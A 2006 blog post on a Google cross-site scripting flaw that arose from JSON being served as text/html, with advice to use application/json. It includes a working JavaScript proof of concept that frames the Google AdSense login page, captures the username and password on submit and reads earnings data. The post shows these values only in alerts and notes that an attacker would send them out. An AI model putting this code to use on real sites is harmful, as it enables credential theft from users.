Don’t serve JSON as text/html
Wednesday, July 5th, 2006Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team.
The problem here was that the JSON was returned with a mime-type of text/html, a browser will render that as if it was an HTML page, even if it’s really just a javascript snippet. The easiest way to protect against these is to ensure that all javascript recieved by the XMLHTTPRequest object is returned with a suitable mime-type - application/json That will mean even when you make a mistake and write un-encoded untrusted data to the document, it won’t allow people to attack your site.
The google exploit was reported here, it’s at the time of writing unpatched, unfortunately that was down to the discoverer not giving google any time to fix, whilst they have had their problems before, recently they have patched quickly, so this was not very fair, or wise. Google also appear to be taking testing their own services for security flaws more seriously, they recently had a presentation to the QA team that you can watch on Google Video.
As I’ve said before, the everything on a single domain causes problems, it means any exploit anywhere on the domain, allows you to exploit any service provided for the domain. This exploit is also present in https:// google, so to re-enforce the problem XSS can present to a user, and why XSS is not simply about cookie stealing. Here’s a simple demonstration of using the exploit to steal username and password from google adsense.
The exploit is simply used to create an IFRAME that fills the document and points it to a google adsense login, when the user logs in, the username and password are alerted - also after logging in, then the “today’s earnings” are alerted. Of course a real attacker would not alert these fields, but would sent them off to a site to be collected later. Are google adsense passwords useful? Would you notice if the address or account to get the cash changed until you’d not got the cheque?
The script code is simple, you don’t need to be clever, and phishers generally aren’t stupid, it takes brains to launder money.
document.body.innerHTML="<div><iframe src='https://www.google.com/adsense/report/overview'"+
" onload='go()' style='position:absolute;top:0;left:0;height:100%;width:100%;'></div>";
function go() {
try {
var win=window.frames[0];
win.document.body.style.overflow="hidden";
win.document.body.style.border="0px solid white";
var doc=win.frames[0].document.forms[0];
doc.onsubmit=function() {
alert("Your adsense username and password are:n"+
doc["Email"].value+'nandn'+doc["Passwd"].value);
x=window.open(location.href);
}
} catch (e) {
try {
var win=window.frames[0];
var doc=win.document.body;
var x="Today's Earnings:"+doc.getElementsByTagName('h1')[0];
alert(x.getElementsByTagName('span')[0].innerHTML.replace(" ",""));
} catch (e) {}
}
}
The result is clear:
